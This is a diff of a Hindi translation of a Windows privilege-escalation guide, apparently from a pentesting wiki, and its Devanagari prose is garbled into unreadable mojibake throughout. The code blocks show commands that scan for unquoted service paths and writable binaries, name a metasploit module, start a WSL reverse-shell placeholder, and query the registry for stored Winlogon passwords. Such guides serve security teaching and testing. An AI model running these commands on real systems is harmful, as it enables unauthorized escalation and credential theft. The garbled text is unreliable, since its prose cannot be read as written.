рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрд░ рдпрд╣ рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдЖрдк рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдЙрдк-рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред Windows рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ **рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ:** +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрд░ рдпрд╣ рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдЖрдк рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдЙрдк рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред Windows рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ **рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -530,16 +530,16 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -рдпрджрд┐ рдХрд┐рд╕реА рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХрд╛ рдкрде рдЙрджреНрдзрд░рдг рдХреЗ рдЕрдВрджрд░ рдирд╣реАрдВ рд╣реИ, рддреЛ Windows рд╣рд░ рд╕реНрдкреЗрд╕ рд╕реЗ рдкрд╣рд▓реЗ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ред +рдпрджрд┐ рдХрд┐рд╕реА рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХрд╛ рдкрде рдЙрджреНрдзрд░рдг рдХреЗ рдЕрдВрджрд░ рдирд╣реАрдВ рд╣реИ, рддреЛ Windows рд╣рд░ рд╕реНрдкреЗрд╕ рд╕реЗ рдкрд╣рд▓реЗ рд╕рдорд╛рдкреНрддрд┐ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрде _C:\Program Files\Some Folder\Service.exe_ рдХреЗ рд▓рд┐рдП, Windows рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛: -```powershell +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрде _C:\Program Files\Some Folder\Service.exe_ рдХреЗ рд▓рд┐рдП Windows рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛: +```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` рд╕рднреА рдЕрдирдЙрджреНрдзреГрдд рд╕реЗрд╡рд╛ рдкрдереЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВ, рдЬреЛ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд Windows рд╕реЗрд╡рд╛рдУрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдирд╣реАрдВ рд╣реИрдВ: -```powershell +```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -547,7 +547,7 @@ wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Window Get-ServiceUnquoted -Verbose ``` -```powershell +```bash for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. @@ -555,7 +555,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ) ``` -```powershell +```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` **рдЖрдк рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ** metasploit рдХреЗ рд╕рд╛рде: `exploit/windows/local/trusted\_service\_path` рдЖрдк рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдПрдХ рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ metasploit рдХреЗ рд╕рд╛рде: @@ -570,7 +570,7 @@ Windows рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдпрд╣ рдирд┐рд░реНрджрд┐рд╖ ### Installed Applications -**рдмрд╛рдЗрдирд░реА рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (рд╢рд╛рдпрдж рдЖрдк рдПрдХ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ) рдФрд░ **рдлреЛрд▓реНрдбрд░реЛрдВ** рдХреЗ ([DLL Hijacking](dll-hijacking/index.html))ред +**рдмрд╛рдЗрдирд░реА рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (рд╢рд╛рдпрдж рдЖрдк рдПрдХ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ) рдФрд░ **рдлреЛрд▓реНрдбрд░реЛрдВ** рдХреЗ ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -581,7 +581,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Write Permissions -рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрдврд╝ рд╕рдХреЗрдВ рдпрд╛ рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ (schedtasks) рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИред +рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрдврд╝ рд╕рдХреЗрдВ рдпрд╛ рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ (schedtasks) рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрдордЬреЛрд░ рдлрд╝реЛрд▓реНрдбрд░/рдлрд╝рд╛рдЗрд▓ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИ: ```bash @@ -606,9 +606,9 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдкрд░ рдЪрд▓рд╛рдПрдБ +### Startup рдкрд░ рдЪрд▓рд╛рдПрдБ -**рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХреБрдЫ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдпрд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИред**\ +**рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдпрд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИред**\ **рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП** **рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда** рдХреЛ рдкрдврд╝реЗрдВ **рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджрд┐рд▓рдЪрд╕реНрдк рдСрдЯреЛрд░рди рд╕реНрдерд╛рдиреЛрдВ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ: {{#ref}} @@ -625,7 +625,7 @@ driverquery /SI ``` ## PATH DLL Hijacking -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **PATH рдкрд░ рдореМрдЬреВрдж рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ** рддреЛ рдЖрдк рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рд▓реЛрдб рдХреА рдЧрдИ DLL рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдиреЗ рдФрд░ **рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **PATH рдкрд░ рдореМрдЬреВрдж рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ** рддреЛ рдЖрдк рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рд▓реЛрдб рдХреА рдЧрдИ DLL рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред PATH рдХреЗ рдЕрдВрджрд░ рд╕рднреА рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: ```bash @@ -670,7 +670,7 @@ netstat -ano #Opened ports? route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### ARP рддрд╛рд▓рд┐рдХрд╛ +### ARP Table ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L @@ -681,7 +681,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L рдЕрдзрд┐рдХ [рдиреЗрдЯрд╡рд░реНрдХ рдПрдиреНрдпреВрдорд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдпрд╣рд╛рдБ](../basic-cmd-for-pentesters.md#network) -### рд╡рд┐рдВрдбреЛрдЬ рд╕рдмрд╕рд┐рд╕реНрдЯрдо рдлреЙрд░ рд▓рд┐рдирдХреНрд╕ (wsl) +### рд╡рд┐рдВрдбреЛрдЬрд╝ рд╕рдмрд╕рд┐рд╕реНрдЯрдо рдлреЙрд░ рд▓рд┐рдирдХреНрд╕ (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe @@ -697,11 +697,11 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` рдмрд╢ рдХреЛ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЖрд╕рд╛рдиреА рд╕реЗ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк `--default-user root` рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВред -рдЖрдк `WSL` рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдлрд╝реЛрд▓реНрдбрд░ `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` рдореЗрдВ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк `WSL` рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЛ рдлрд╝реЛрд▓реНрдбрд░ `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` рдореЗрдВ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВред -## Windows Credentials +## Windows рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ -### Winlogon Credentials +### Winlogon рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -716,11 +716,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Credentials manager / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕рд░реНрд╡рд░реЛрдВ, рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдФрд░ рдЕрдиреНрдп рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ **Windows** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред рдкрд╣рд▓реЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдореЗрдВ, рдпрд╣ рдРрд╕рд╛ рд▓рдЧ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдкрдиреЗ рдлреЗрд╕рдмреБрдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕, рдЯреНрд╡рд┐рдЯрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕, рдЬреАрдореЗрд▓ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЖрджрд┐ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рд╡реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХреЗрдВред рд▓реЗрдХрд┐рди рдРрд╕рд╛ рдирд╣реАрдВ рд╣реИред +Windows Vault рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕рд░реНрд╡рд░реЛрдВ, рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдФрд░ рдЕрдиреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ **Windows** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд▓реЙрдЧ рдЗрди** рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдкрд╣рд▓реЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдореЗрдВ, рдпрд╣ рдРрд╕рд╛ рд▓рдЧ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдкрдиреЗ рдлреЗрд╕рдмреБрдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕, рдЯреНрд╡рд┐рдЯрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕, рдЬреАрдореЗрд▓ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЖрджрд┐ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рд╡реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХреЗрдВред рд▓реЗрдХрд┐рди рдРрд╕рд╛ рдирд╣реАрдВ рд╣реИред -Windows Vault рдЙрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирд╕реЗ Windows рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдХреЛрдИ рднреА **Windows рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рд╕рдВрд╕рд╛рдзрди (рд╕рд░реНрд╡рд░ рдпрд╛ рд╡реЗрдмрд╕рд╛рдЗрдЯ) рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ** **рдЗрд╕ Credential Manager** рдФрд░ Windows Vault рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдмрд╛рд░-рдмрд╛рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +Windows Vault рдЙрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ Windows рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдХреЛрдИ рднреА **Windows рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рд╕рдВрд╕рд╛рдзрди (рд╕рд░реНрд╡рд░ рдпрд╛ рд╡реЗрдмрд╕рд╛рдЗрдЯ) рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ** **рдЗрд╕ Credential Manager** рдФрд░ Windows Vault рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдмрд╛рд░-рдмрд╛рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -рдЬрдм рддрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди Credential Manager рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдирд╣реАрдВ рдХрд░рддреЗ, рдореБрдЭреЗ рдирд╣реАрдВ рд▓рдЧрддрд╛ рдХрд┐ рдЙрдирдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рджрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡реЙрд▓реНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдХрд┐рд╕реА рди рдХрд┐рд╕реА рддрд░рд╣ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдореИрдиреЗрдЬрд░ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЙрд╕ рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реНрдЯреЛрд░реЗрдЬ рд╡реЙрд▓реНрдЯ рд╕реЗ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП**ред +рдЬрдм рддрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди Credential Manager рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдирд╣реАрдВ рдХрд░рддреЗ, рдореБрдЭреЗ рдирд╣реАрдВ рд▓рдЧрддрд╛ рдХрд┐ рдЙрдирдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рджрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡реЙрд▓реНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдХрд┐рд╕реА рди рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдореИрдиреЗрдЬрд░ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЙрд╕ рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ 